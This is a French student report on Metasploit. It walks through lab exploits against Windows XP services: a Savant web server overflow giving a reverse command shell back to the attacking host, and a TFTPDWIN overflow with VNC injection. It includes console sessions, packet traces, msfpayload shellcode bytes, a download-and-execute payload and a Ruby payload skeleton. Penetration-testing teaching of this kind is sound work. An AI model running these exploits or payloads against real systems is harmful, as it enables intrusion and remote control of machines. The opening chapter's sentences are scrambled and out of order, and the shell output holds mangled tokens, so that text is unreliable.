METASPLOIT Environnement intégré de test d’intrusion

MARTIN Benjamin

PAULIAT Romain

PELLETIER Alexandre

Table des matières
1 Préambule 1.1 METAQUOI ? METASPLOIT ! . . . . . . . . . . . . . . . . . . . . . . . . 1.2 Mise en place du framework . . . . . . . . . . . . . . . . . . . . . . . . . . 2 Premiers pas avec Metasploit 2.1 Informations générales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.2 Configuration de l’exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3 Configuration du payload et lancement de l’exploit . . . . . . . . . . . . . 3 Explication d’un exploit 3.1 Généralités . . . . . . . . . . 3.1.1 Acteurs en présence . 3.1.2 Description de la faille 3.2 Type de payloads . . . . . . . 3.2.1 Remote Exécutable . . 3.2.2 Meterpreter . . . . . . 3.3 VNC Injection . . . . . . . . 3.3.1 Déroulement . . . . . 3.3.2 Dissection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 2 3 6 6 8 9 12 12 12 12 12 13 13 15 15 16 18 18 20 20 21 23

4 Mise en place d’un nouveau payload 4.1 Utilisation de msfpayload . . . . . . . . . 4.2 Ajout d’un nouveau payload . . . . . . . . 4.2.1 Déclaration d’un nouveau payload 4.2.2 Paramétrisation du payload . . . . 5 Conclusion

1

L’intérêt de ce framework est la possibilité de réutiliser simplement une grande partie des bouts de code qui auraient autrement dus être recopiés ou réimplémentés pour chaque exploit. La pièce fondamentale de l’architecture est la librairie Rex (Ruby Extension Library). Séparés du framework lui-même. La nécessité de construction automatique de classes pour la réutilisation de code fut une chose à laquelle Perl ne correspondait pas parfaitement. Le schéma suivant résume l’ensemble des dépendances des modules. Ces derniers ont une structure et interface prédéfinie pour être chargés comme étant un des exploits. Un plugin est défini comme l’outil permettant d’étendre ou d’améliorer les fonctionnalités du framework. Certains des composants fournis par Rex incluent un sous-système d’emballage de socket. et un grand nombre d’autres classes utiles. encodeur ou générateur de NOP. Cet projet a vu le jour durant l’été 2003 en grande partie grâce à la contribution de H. en premier lieu. se trouvent les plugins et modules qu’il va supportés. des classes utilitaires d’exploitation.1 METAQUOI ? METASPLOIT ! Metasploit est un projet open-source servant.Chapitre 1 Préambule 1. 2 . Initialement développé en langage de programmation Perl. se décompose en plusieurs parties. Juste au dessus se situe le "framework base" qui est une couche de librairies permettant d’intéragir plus simplement avec le framework core. des implémentations de clients et serveurs de protocoles. Metasploit.0 en langage Ruby et ce pour plusieurs raisons. le framework a été complètement ré-écrit pour la version 3. Le niveau le plus bas est le "framework core". De plus. C’est un puissant outil disponible gratuitement et comparable aux produits commerciaux tels que Immunity’s CANVAS ou Core Impact. Une autre raison est l’existence d’un interpréteur natif pour la plateforme Windows. responsable de l’implémentation de toutes les interfaces requises. payload. à tester la pénétration de systèmes informatisés et permettant le développement rapide d’exploits ou de payloads. conçu pour être le plus modulaire possible.D Moore et est actuellement disponible dans sa version 3. la syntaxe Ruby est incroyablement simple et fournit le même niveau de fonctionnalités que les langages comme Perl. un sous-système de logging.

Dans notre projet. 3 .04 et Fedora 9. En effet. sauvegarder et réutiliser.tar pour le monde UNIX et d’un install . l’installation réalisée s’est faite sur des machines tournant sous Ubuntu 8. décompressez l’archive. ce qui permettra de rajouter ou de créer simplement ses propres exploits ou payloads... Une fois le téléchargement effectué. rendez-vous à l’adresse suivante : http ://www. 1. l’installation est terminée et le framework est prêt à être utilisé. cette structure se distinguera également dans l’arborescence du framework et chacun des modules sera entièrement défini par un fichier écrit en langage Ruby. ce qui permet de les modifier. Après avoir abordé le côté théorique de Metasploit.exe pour les plateformes Windows. payloads ou autres comme étant séparés du framework lui-même. sont d’une facilité déconcertante. le framework nécessite la présence des librairies Ruby. yum. comme nous allons le voir. dpkg .Fig.com/framework/download/ Metasploit est disponible sous forme d’archive .2 Mise en place du framework Avant toute chose.metasploit. qui. intéressons nous à l’installation et à la prise en main dudit framework.) si cela n’est pas déja fait. Celles-ci peuvent être installées par le biais de votre gestionnaire de paquets (apt-get. Une fois cette préparation terminée.0 L’intérêt de la structure de Metasploit est de considérer chacun des exploits.1 – Dépendances des modules du framework 3. Il est aussi intéressant d’installer la bibliothèque libreadline-ruby qui permettra d’utiliser la complétion lors de l’utilisation du framework via l’inetrface console. 1.

C’est en effet dans ces répertoires que les fichiers Ruby sont placés afin d’être chargés en tant que modules. Nous pouvons maintenant nous attaquer au vif du sujet.2 – msfconsole 4 . A noter qu’une description complète de chacun des répertoires est disponible dans la documentation de Metasploit. de la ligne de commande au mode graphique en passant par l’interface web. permettant par exemple de "xorer" un payload.Avant de lancer Metasploit. Pour se faire. msfconsole est « l’interface de prédilection » car elle présente le meilleur compromis entre clarté et rapidité d’utilisation. msfgui est un GUI (Graphical User Interface) et msfweb est lui aussi un GUI mais accessible via un navigateur classique. l’utilisation de Metasploit. nous avons à notre disposition différentes interfaces. On peut remarquer une certaine similitude avec l’organisation des modules décrite au chapitre précédent.msf3 à la racine du home de l’utilisateur. – exploits/ contenant l’ensemble des exploits mis à disposition par le framework. Voici un aperçu de ces 3 interfaces : Fig. Le framework crée aussi un dossier . – payloads/ contenant les payloads des différentes architectures et systèmes d’exploitation. encoders. – modcache : Metadata à propos des exploits. et de la date de modification de ceux-ci. payloads. Les derniers exploits sont téléchargeables sur le site de Metasploit. Les répertoires les plus pertinents dans le cadre de ce projet sont : – documentation/ contenant une documentation qui couvre les aspects techniques. où sont sauvegardées les variables d’environnement et les autres inormation de la session. Ce dossier contient les fichiers suivants : – config : Fichier de configuration. – logs/ : Dossier qui contient les logs de session. plugins. 1. intéressons nous un instant au contenu du dossier extrait. – encoders/ contenant différents encodeurs de payloads. NOPs. – modules/ : Modules définis par l’utilisateur.

Fig. nous favoriserons cette interface lors des prochaines parties. 1.4 – msfgui Celles-ci ayant un usage équivalent mais l’utilisation de msfconsole permettant une meilleure compréhension du déroulement d’un exploit.3 – msfweb Fig. 1. 5 .

1.5 via la faille du service Savant Web Server 3. Choisir et configurer le payload. Le lancement d’un exploit se déroule en 4 à 5 phases : – – – – – Choisir et configurer l’exploit.6 nops 99 aux 6 .168.Chapitre 2 Premiers pas avec Metasploit 2. Exécution de l’exploit.4.168. Lors de cet exemple nous attaquerons une machine tournant sous Windows XP SP1 et d’adresse IP 192. une explication plus poussée sera effectuée dans les chapitres suivants. la statégie à adopter pour lancement d’un exploit. certains aspects de la configuration ne seront ici pas détaillés. \ (o o)______ (__) )\ || -. Le but de ce chapitre est de mettre en valeur la facilité de prise en main de Metasploit./msfconsole./msfconsole < metasploit > -----------\ . en nous appuyant sur un exemple.2\$ . nous allons décrire.1.--=[ + -. lancez . Choix de la cible. voici ce que vous devriez obtenir : root@shaka:~/framework-3.217 payloads 20 encoders .1 Informations générales Dans cette partie.__. Choix de l’encodage du payload (optionnel).--=[ =[ msf > msf v3.1 et ce grâce à une station Ubuntu d’ardresse IP 192.2-release 320 exploits . C’est parti.|| * =[ + -.

set. info. qui nous permet de lister l’ensemble des exploits disponibles. Nous allons donc choisir l’exploit qui nous concerne. pour cela on utilise la fonction show exploits. celles-ci permettent de choisir un exploit et un payload. Maintenant. créés de toutes pièces ou récupérés sur le web. seules les commandes de base nous seront utiles et plus particulièrement help. consulter l’aide : msf > help Core Commands ============= Command ------? back banner cd exit help info irb jobs load loadpath quit resource route save search sessions set setg show sleep unload unset unsetg use version Description ----------Help menu Move back from the current context Display an awesome metasploit banner Change the current working directory Exit the console Help menu Displays information about one or more module Drop into irb scripting mode Displays and manages jobs Load a framework plugin Searches for and loads modules from a path Exit the console Run the commands stored in a file Route traffic through a session Saves the active datastores Searches module names and descriptions Dump session listings and display information Sets a variable to a value Sets a global variable to a value Displays modules of a given type. premier réflexe. show et use. de lister les variables à initialiser et d’effectuer la configuration appropriée. en voici une partie : 7 . Nous verrons plus tard qu’il est possible d’ajouter très simplement des modules annexes. Il est possible d’ajouter des fonctionnalités au framework via des plugins pour pouvoir par exemple intéragir avec une base de données SQL. Dans notre exploit.Nous pouvons constater qu’un nombre important d’exploits (320) et de payloads (217) sont présents par défaut dans Metasploit. En effet. or all modules Do nothing for the specified number of seconds Unload a framework plugin Unsets one or more variables Unsets one or more global variables Selects a module by name Show the console library version number Cette liste représente l’ensemble des commandes supportées par défaut au lancement de cette interface.

. en l’occurence use. qui est de la forme OS/service/exploit.4. windows/tftp/tftpdwin_long_filename windows/tftp/threectftpsvc_long_mode windows/unicenter/cam_log_security windows/vnc/realvnc_client windows/vnc/ultravnc_client windows/vnc/winvnc_http_get windows/wins/ms04_045_wins Description ----------Mercantec SoftCart XTACACSD <= 4.cgi Savant 3.3. msf > use windows/http/savant_31_overflow msf exploit(savant_31_overflow) > On peut remarquer la corrélation entre le nom de l’exploit. il va falloir configurer correctement celui-ci. msf exploit(savant_31_overflow) > show options Module options: Name ---RHOST RPORT Current Setting --------------80 Required -------yes yes Description ----------The target address The target port msf exploit(savant_31_overflow) > 8 ..1 Client WinVNC Web Server <= v3. Pour une description plus complète du module. windows/http/savant_31_overflow . il existe info.0. nous étudierons donc la façon de récupérer les informations nécessaires et les modifications à apporter. 2.. la ligne msf exploit(savant_31_overflow) > est désormais présente). Cette remarque est toute aussi valable pour les autres modules. il suffit alors de charger le module exploit avec la commande appropriée.1 Web Server Overflow TFTPDWIN v0. dans la console.1.3.7 Client UltraVNC 1.2 3CTftpSvc TFTP CA CAM RealVNC 3. et le chemin où est stocké le fichier Ruby correspondant..msf > show exploits Exploits ======== Name ---bsdi/softcart/mercantec_softcart freebsd/tacacs/xtacacsd_report hpux/lpd/cleanup_exec irix/lpd/tagprinter_exec linux/games/ut2004_secure linux/http/gpsd_format_string linux/http/linksys_apply_cgi .2 Configuration de l’exploit Les commandes show options et show targets permettent de lister la configuration requise par un exploit. Maintenant que notre exploit est chargé (en effet. Dans la partie qui suit.2 HP-UX LPD Command Execution Irix LPD tagprinter Unreal Tournament 2004 Berlios GPSD Linksys apply.3 Microsoft WINS Service L’exploit reposant sur la faille du service est donc bien présente.

l’exploit s’appuie sur une faille de l’éxécutable et n’est pas spécifique à un OS particulier. on va donc configurer l’exploit de la manière suivante : msf exploit(savant_31_overflow) > set RHOST 192.3 Configuration du payload et lancement de l’exploit On va maintenant choisir le payload à exécuter. Dans notre exemple.e on affiche les payloads disponibles et on choisit en conséquence.5.Italian . 2. qui par défaut est initialisé à 80. ne reste plus qu’à choisir notre payload.5 msf exploit(savant_31_overflow) > De la même manière. on veut simplement récupérer un shell sur la machine distante : msf exploit(savant_31_overflow) > show payloads Compatible payloads =================== Name ---generic/debug_trap generic/debug_trap/bind_ipv6_tcp generic/debug_trap/bind_nonx_tcp generic/debug_trap/bind_tcp . On choisira donc Savant. Celui-ci correspond à l’adresse IP de la machine distante "cible". Notons que RPORT.1.5 RHOST => 192.exe comme cible : msf exploit(savant_31_overflow) > set TARGET 0 TARGET => 0 msf exploit(savant_31_overflow) > Notre exploit est maintenant bien configuré. on configure alors la cible : msf exploit(savant_31_overflow) > show targets Exploit targets: Id -0 1 2 3 4 Name ---Universal Savant..168.168.exe Windows 2000 Pro All Windows 2000 Pro All Windows 2000 Pro All Windows XP Pro SP2 - . Dans notre exemple RHOST = 192.168. Afin de l’initialiser. on procède de la même manière que pour l’exploit i.French English msf exploit(savant_31_overflow) > Dans notre exemple.On remarque que le champ requis RHOST n’est pas renseigné. on utilise la commande set qui permet d’assigner une valeur à une variable.1.1. 9 Description ----------Generic x86 Generic x86 Generic x86 Generic x86 Debug Debug Debug Debug Trap Trap Trap Trap .. correspond bien au port http distant.English .

168. Si tel n’est pas le cas il faudra y remédier.1.exe Dans notre exemple. Found one! Sending exploit.168.168. msf exploit(savant_31_overflow) > show options Module options: Name ---RHOST RPORT Current Setting --------------192. Sending stage (474 bytes) 10 . on utilise show options pour s’assurer que tous les champs sont bien renseignés.1. qui est l’IP de notre machine "attaquante" : msf exploit(savant_31_overflow) > set LHOST 192.4 msf exploit(savant_31_overflow) > Nous avons fini de configurer le payload. il va falloir mettre la variable LHOST à 192.4 LHOST => 192. thread.4. démonstration : msf [*] [*] [*] [*] exploit(savant_31_overflow) > exploit Started reverse handler Searching for a suitable nopsled. process The local address The local port Exploit target: Id -0 Name ---Universal Savant...1. Notre exploit est prêt à être lancé grâce à la commande exploit.windows/shell/reverse_nonx_tcp windows/shell/reverse_ord_tcp windows/upexec/bind_nonx_tcp windows/upexec/reverse_nonx_tcp windows/upexec/reverse_ord_tcp windows/vncinject/bind_nonx_tcp windows/vncinject/reverse_nonx_tcp windows/vncinject/reverse_ord_tcp Windows Windows Windows Windows Windows Windows Windows Windows Command Shell Command Shell Upload/Execute Upload/Execute Upload/Execute VNC Inject VNC Inject VNC Inject msf > set PAYLOAD windows/shell/reverse_nonx_tcp PAYLOAD => windows/shell/reverse_nonx_tcp Une fois le payload chargé.1.5 80 Required -------yes yes Description ----------The target address The target port Payload options (windows/shell/reverse_nonx_tcp): Name ---EXITFUNC LHOST LPORT Current Setting --------------thread 4444 Required -------yes yes yes Description ----------Exit technique:seh.168.

2600] (C) Copyright 1985-2001 Microsoft Corp.5:1041) Microsoft Windows XP [version 5.[*] Command shell session 1 opened (192. ce qui signifie que l’exploit s’est bien déroulé.4:4444 -> 192.1.168.1..168.SYS 21:49 <REP> Documents and Settings 19:13 <REP> Program Files 21:12 <REP> Savant 22:52 <REP> WINDOWS 2 fichier(s) 0 octets 4 Rep(s) 1103221793712 octets libres C:###BOT_TEXT###gt; On a donc "la main" sur la machine distante :-). nous allons pouvoir nous intéresser plus en détail au déroulement d’un exploit. Le numero de serie du volume est 1CE2-D4CE Repertoire de C:\ 24/11/2008 24/11/2008 24/11/2008 21/12/2008 01/12/2008 01/12/2008 21:39 0 AUTOEXEC. Maintenant que l’utilisation de Metasploit est comprise. 11 . C:###BOT_TEXT###gt;dir dir Le volume dans le lecteur C n’a pas de nom. C:\Savant>cd .BAT 21:39 0 CONFIG.1.

2 Description de la faille C’est une faille classique de Stack Overflow.10 Starting Nmap 4.1. [root@localhost ~]# nmap -sU 192. VNC inject : Obtention d’une interface graphique Meterpreter : Nouveauté de Metasploit 2.2 Type de payloads En regardant les payloads proposés par Metasploit.168. La taille n’est pas verifiee.10: Not shown: 1478 closed ports PORT STATE SERVICE 69/udp open|filtered tftp 3. 3. et de sa dissection.168. 12 .1 3.11 – La cible C : 192.Chapitre 3 Explication d’un exploit Nous allons étudier dans cette section un scénario d’exploit.org ) at 2008-12-21 15:22 CET Interesting ports on 192.1 Généralités Acteurs en présence Soit un réseau 192.10 La machine Cible propose un service TFTP sur son port 69. 3.0. Le serveur TFTP a besoin du username de l’utilisateur.0.168.2 ProSysInfo.0.0.1.3.4. Le flux d’éxécution peut donc être détourné. ce qui permet d’overwriter le pointeur de retour eip vers une adresse.0/24 et deux machines Attaquant et Cible.0. Beaucoup de papers sur Metasploit décrivent de manière simple les commandes à utiliser pour un exploit. – L’attaquant A : 192.52 ( http://insecure. plusieurs catégories semblent se distinguer : – – – – Etablissement d’une connexion entre A et C.168.168. Cette partie sera consacrée à la réalisation d’un exploit simple. avec une version infectée : TFTP Server TFTPWIN 0. Execution d’une commande connue de A sur C.

Fig.2.1 – Exécution d’une commande arbitraire sur la cible D’autres payloads peuvent être utlisés. un meta-shell est proposé à la machine A. Meterpreter ou Meta-Interpreter est une nouveauté de la version 2. Metasploit récupère ces informations. comme le montre la figure 3. comme le montre la figure 3. retranscrit le véritable flux VNC. Concernant la commande à éxécuter sur C.1 Remote Exécutable Si on choisi d’utiliser le payload suivant : – windows/download_exec/reverse_nonx_tcp Le shellcode permet de télécharger n’importe quel éxécutable à partir de n’importe quelle url passée en paramètre afin de l’éxécuter sur la machine Cible. La faille est exploitée sur la machine C. on parle de reverse_shell. permettant d’effectuer une certaine action sur une machine cible. pourvu d’un ensemble de commande. dans ce cas. son but est souvent d’établir un shell.4. 3. Pour cette raison. comme nous verrons dans le chapitre suivant. celle-ci peut même être downloadée à partir d’une url tierce. La figure 3.3 et propose ce type de fonctionnalité. Il est également possible de les créer soi-même. Le problème est qu’un payload permet d’effectuer qu’une seule action. De nouveaux payloads peuvent être téléchargés sur le site de Metasploit. 3.2. on parle de bind_shell.2 Meterpreter Metasploit offre une pléthore de payloads.1 Le concept VNCinject consiste à uploader une DLL afin de simuler un équivalent de serveur VNC qui véhicule son flux dans du TCP.1 décrit les différents flux d’informations prenant part à l’exploit.La connexion entre A et C peut etre initiée par la machine Attaquant A. Cela crée donc un nouveau processus. 3. le met ensuite à disposition d’un client. 13 .2. comme on peut le voir sur la figure 3. et d’une manière ou d’une autre garder la main sur le flux d’éxécution pour faire passer des commandes arbitraire directement au sein du processus exploité. On pourrait se demander s’il etait possible d’infecter un service. ou par la machine Cible C.

2 le package core.3 que de nouvelles commandes sont venus se greffer au menu help. Un ensemble de nouvelles commandes peuvent être uploadées sur la machine Cible de façon dynamique (on the fly).3 – Ajout de nouvelles commandes dans le meta-shell On peut voir sur la figure 3. Ce principe d’extension permet à n’importe quel developpeur de créer facilement un ensemble de nouvelles commandes avec le langage de son choix. meterpreter> help Process Process manipulation and execution commands --------------------------execute Executes a process on the remote endpoint kill Terminate one or more processes on the remote endpoint ps List processes on the remote endpoint meterpreter> execute . Fig. La figure 3. 3.3 montre comment on peut ajouter dynamiquement un autre package. meterpreter> use -m Process loadlib: Loading library from ’ext950591.2 – Mise à disposition d’un meta-shell On peut voir sur la figure 3. 14 . dont les éxécutables seront sous forme de DLL.L’intérêt génial de Meterpreter est sa modularité. La partie programmation de package de Meterpreter ne sera pas décrite.dll’ on the remote machine. après le chargement du package Process. comportant d’autre commandes. meterpreter> help Core Core feature set commands --------------------------read Reads from a communication channel write Writes to a communication channel close Closes a communication channel interact Switch to interactive mode with a channel help Displays the list of all register commands exit Exits the client initcrypt Initializes the cryptographic subsystem Extensions Feature extension commands --------------------------loadlib Loads a library on the remote endpoint use Uses a feature extension module meterpreter> Fig.. bien qu’interessante. 3. par manque de temps. De nombreux mécanismes sont mis à disposition de la machine A de façon transparente. c’est a dire uploader un nouveau fichier DLL.. meterpreter> loadlib: success.

– CHOST. /* windows/vncinject/reverse_nonx_tcp . Notre choix se porte donc sur : – le module /windows/tftp/tftpdwin_long_filename – le payload /windows/vncinject/reverse_nonx_tcp 3.1 Déroulement Un certain nombre d’options1 doivent être positionnées pour permettre le bon déroulement de l’exploit. – WfsDelay : allonge le delai d’attente de session.3 VNC Injection Pour illustrer nos propos. EXITFUNC : Décide de la manière dont on s’échappe du processus infecté.168. DLL : Fichier de dll qui sera uploader sur la machine A.3.177 bytes (stage 1) */ unsigned char buf[] = "\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d\x3c" "\xb4\x0c\x50\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6". Notons que cela est possible quelque soit la faille exploitée./msfpayload windows/vncinject/reverse_nonx_tcp LHOST=192. une partie étant plus petite2 et pouvant tenir dans le buffer employé par TFTPWIN. – – – – – – – – 1 2 voir section précédente pour plus d’informations sur la façon de positionner les paramètres Les tailles ont été tronquées pour plus de lisibilité. RPORT : Remote Port : port tftp. \# . nous pouvons facilement voir celui que nous allons utiliser. nous avons choisi de récupérer l’interface graphique de la cible. – DisableCourtesyShell : Ce shell permet d’avoir une console sur l’écran de la machine Cible. 15 . on utilise souvent seh. EnableContextEncoding. Nous reviendrons plus amplement sur msfpayload lors du chapitre suivant. Pour les cibles dont le système d’exploitation est Windows. Par exemple. VNCPORT : Port de mise a disposition du flux VNC. Remarquons que Metasploit propose un utilitaire pour décomposer ou forger des shellcodes. même si l’écran est locké.2650 bytes (stage 2) */ unsigned char buf[] = "\x55\x8b\xec\x81\xec\xa8\x01\x00\x00\x53\x56\x57\xeb\x02\xeb" "\x04 On peut observer que le shellcode est composé en deux parties.3. LPORT : Local Port : Port du reverse Shell. ContextInfoFile. RHOST : Remote Host : Machine C.11 C /* windows/vncinject/reverse_nonx_tcp . VNCHOST : Emulation du serveur vnc : Machine A.0. CPORT. LHOST : Local Host : Machine initiant l’attaque sur RHOST : Machine A.

wireshark. 341 bytes captured) Internet Protocol. Started reverse handler Trying target Universal .2 Dissection Fig.. Transmitting intermediate stager for over-sized stage.0.exe.3. 3...0. Upload completed. Src:192.0. Les paquets sont observés à l’aide de l’utilitaire wireshark3 1.. Frame 8 (341 bytes on wire.. Uploading DLL (197133 bytes). Celle ci.11:5900. 3.org 16 .11).tftpd.11 (192. Dst Port:tftp (69) Trivial File Transfer Protocol 3 http ://www... Session 1 created for 192.. Local TCP relay started.10:1047 La machine Attaquant obtient directement l’interface graphique de la machine Cible. Connexion vers la machine C sur le port RHOST.(191 bytes) Sending stage (2650 bytes) Sleeping before handling stage.4 – Description de l’exploit La figure 3. Dst:192. on lance l’attaque : [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] Launching exploit windows/tftp/tftpdwin_long_filename..0.. ne s’aperçoit de rien.168.. Launched vnciewer in the background.4 décrit le déroulement chronologique de l’exploit..0.10 User Datagram Protocol. Src Port:52217 (52217).Une fois les paramètres positionnés.168. c’est le moment où le serveur tftp va planter et afficher le message d’erreur sur la machine Cible. Starting local TCP relay on 192.168. jusqu’au moment où la machine Attaquant kill la session.168.168.

11). Frame 141 (74 bytes on wire.168.0. Dst Port:5900 Virtual Network Computing 7. 74 bytes captured) Internet Protocol. Src Port:krb524 (4444).168. 62 bytes captured) Internet Protocol.0.0. Dst Port:4444 Frame 10 (62 bytes on wire. Dst:192. 17 . Si la case Auto est cochée. 62 bytes captured) Internet Protocol. Src Port:neod1 (1047). Débordement de la pile et détournement du flux d’éxécution vers le shellcode.4. 4. Dst:192. demande le nom d’utilisateur et le place dans la pile du process. ouverture d’une connexion vers A (reverse_shell ). Celle ci est symbolisée par le rectangle à droite de la figure 3.0.0. 6.11 (192. Dst Port:1047 3.10 (192.11 Transmission Control Protocol.168.2.168. Src:192. Execution du shellcode.10). Le serveur VNC simulé prend en entrée ce flux TCP et le met à disposition sur le port VNCPORT.168. Src:192.168.11 Transmission Control Protocol. Src Port:43925 (43925).168. 5.0. Le flux VNC vient est encapsule dans un flux TCP et arrive par le port LPORT. Celui-ci est constitué d’instructions NOP pour augmenter les chances de tomber une adresse du début du buffer.0. upload de la library VNC vers la machine Cible (VNC injection).11).0. Le serveur Tftp commence son traitement.0.168.10 Transmission Control Protocol.168. le framework lance un vncviewer sur ce port. Dst:192.11 (192. Src:192. Frame 9 (62 bytes on wire.

18 . on peut effectuer plusieurs taches : les payloads. Pour la seconde. P : pour étudier le payload en Perl. L’utilisation de msfpayload se fait de la façon suivante : msfpayload <payload à étudier> <options du payload> <options de msfpayload> Où les options de msfpayload sont : S : Un résumé du payload.Chapitre 4 Mise en place d’un nouveau payload Comme on l’a expliqué aux chapitres précédents. J : pour étudier le payload en java.1 Utilisation de msfpayload Msfpayload à deux fonctionalités : la première nous permet essentiellement de voir les shellcodes qui sont injectés dans le flot d’éxecution. On peut les créer. Il est nécessaire de positionner en paramètre la commande à éxécuter sur la cible. on le couple avec un désassembleur ce qui nous permet de voir ce qui ce passe au niveau du processeur.1. Puis nous verrons le principes de base servant à créer les singles payloads. X : pour étudier le payload comme executable. le payload windows/exec permet d’éxécuter une commande sur une machine cible. R : pour étudier le payload comme raw. l’une des fonctionnalités de Metasploit est que à partir d’un exploit que l’on a déjà dans la base de donnée. Ce dernier étant petit il est plus facile à étudier. Les payloads se trouvent dans <MSF HOME>/modules/payloads/. On regardera dans cette partie le payload windows/exec. ce qui est le but de cette partie. 4. C : pour étudier le payload en C. Comme le montre le figure 4. Avant toute chose nous allons revenir sur msfpayload qui nous permet de regarder les payloads plus en profondeur.

1 http ://sourceforge. 4.1 – Description du payload windows/exec On peut regarder ce que donne le payload avec la syntaxe du langage C. process Description: Execute an arbitrary command Fig. root@ben-laptop# msfpayload windows/exec CMD=dir C /* * windows/exec ./msfpayload windows/exec CMD=dir S Name: Version: Platform: Arch: Needs Admin: Total size: Windows Execute Command 5773 Windows x86 No 116 Provided by: vlad902 <vlad902@gmail.com> Basic options: Name Current Setting -----------------CMD dir EXITFUNC seh Required -------yes yes Description ----------The command string to execute Exit technique: seh. On pourrait donc très facilement utiliser un payload de Metasploit dans un autre programme C. ce qui les rend extrêmement portables. comme par exemple ndisasm 1 .com * EXITFUNC=seh.116 bytes * http://www.net/projects/nasm 19 .metasploit. On utilise l’option R pour ce type de sortie. msfpayload donne également la possibilité de lister les commandes assembleur utilisées. thread. CMD=dir */ unsigned char buf[] = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef" "\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31" "\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b" "\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" "\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x5f" "\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b\x40\x0c\x8b\x70\x1c\xad" "\x8b\x68\x08\x89\xf8\x83\xc0\x6a\x50\x68\xf0\x8a\x04\x5f\x68" "\x98\xfe\x8a\x0e\x57\xff\xe7\x64\x69\x72\x00".[root@ben-laptop]# . en couplant la sortie brute avec un désassembleur.

Commençons par regarder à quoi celui-ci ressemble généralement : require ’msf/core’ require ’msf/core/handler/bind_tcp’ module module module module Msf Payloads Singles Windows module Exemple include Msf::Payload::Windows include Msf::Payload::Single def initialize(info = {}) . en effet ce dernier se suffit à lui-même : il effectue une unique tache sans avoir besoin de codes auxilliaires. Ainsi. 0x69.1 Ajout d’un nouveau payload Déclaration d’un nouveau payload Un single payload est le type le plus simple des payload. Si le programme est absent sur le système cible... 00000068 6898FE8A0E 0000006D 57 0000006E FFE7 00000070 64 00000071 69 00000072 7200 00000074 0A windows/exec CMD=dir R | ndisasm -u cld call dword 0x4a push 0xe8afe98 push edi jmp edi db 0x64 db 0x69 jc 0x74 db 0x0A On peut brièvement remarquer que la commande DIR est bien prise en compte (0x64. 0x72). 20 . à l’aide du tiret. on voit ce qui se passe au niveau de l’assembleur. Notons également que ce payload transporte une chaine de caractères.2... Nous nous appuierons donc sur ce type de payload au cours de cette partie pour faciliter la compréhension de l’insertion d’un nouveau module. une erreur sera générée. le programme ndisasm prend la sortie du tube en guise d’entrée standard. on pourra voir la section relative à Meterpreter. A propos de la syntaxe Le flux de msfpayload est mis dans un tube par le shell. Pour uploader dynamiquement des programmes.root@ben-laptop# msfpayload 00000000 FC 00000001 E844000000 .2 4. 4. Ce qui peut être utile quand on veut concevoire ces propres payload.

ce que nous allons faire dans la section qui suit.2. ’$Revision: 5365 $’. ’EXITFUNC’ => [ 30. Cette en-tête. }. à savoir : super(merge_info(info. ’LPORT’ => [ 0. une brève description du payload .2 Paramétrisation du payload On va donc s’attaquer à la configuration de notre payload. Msf::Sessions::CommandShell. il en plusieurs type : – Bind TCP : connexion crée par l’attaquant. ARCH_X86. pour cela. 4. On remarque ainsi que notre module. va nous permettre de gérer simplement la prise en charge de notre payload à proprement parler et de ses options. ’Payload’ => "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" + "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" + "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" } )) end end end end end end Cette partie du payload est le bloc d’initialisation standard. – Find port 21 . ’LHOST’ => [ 15. ’win’. Msf::Handler::BindTcp. ’Exemple de comment ajouter un single payload’. Le handler sert à définir quel type de connexion l’attaquant se sert. ’ADDR’ ]. ce qui nous intéresse ici est la deuxième partie du fichier. la version qui sert lors de la mise à jour de Metasploit via un serveur svn. qui va charger les bibliothèques nécessaires. ’abr’. Il comprend le nom tel qu’il s’affichera dans l’interface au moment de l’utilisation. à l’instar d’un fichier en langage C. ’n’ ].Ce fichier débute donc par les déclarations standards. MSF_LICENSE. ’Name’ ’Version’ ’Description’ ’Author’ ’License’ ’Platform’ ’Arch’ ’Handler’ ’Session’ ’Payload’ { ’Offsets’ => { => => => => => => => => => => ’test d ajout de payload’. du concepteur et de la license et enfin l’OS sur lequel le payload s’applique et dans quel type d’architecture il est codé. ’V’ ]. – Reverse TCP : connexion crée par la cible. Il ne nous reste plus qu’à déclarer notre payload. et la place des modules pour les dépendances. qui porte le nom Exemple est bien un single payload pour une plateforme Windows.

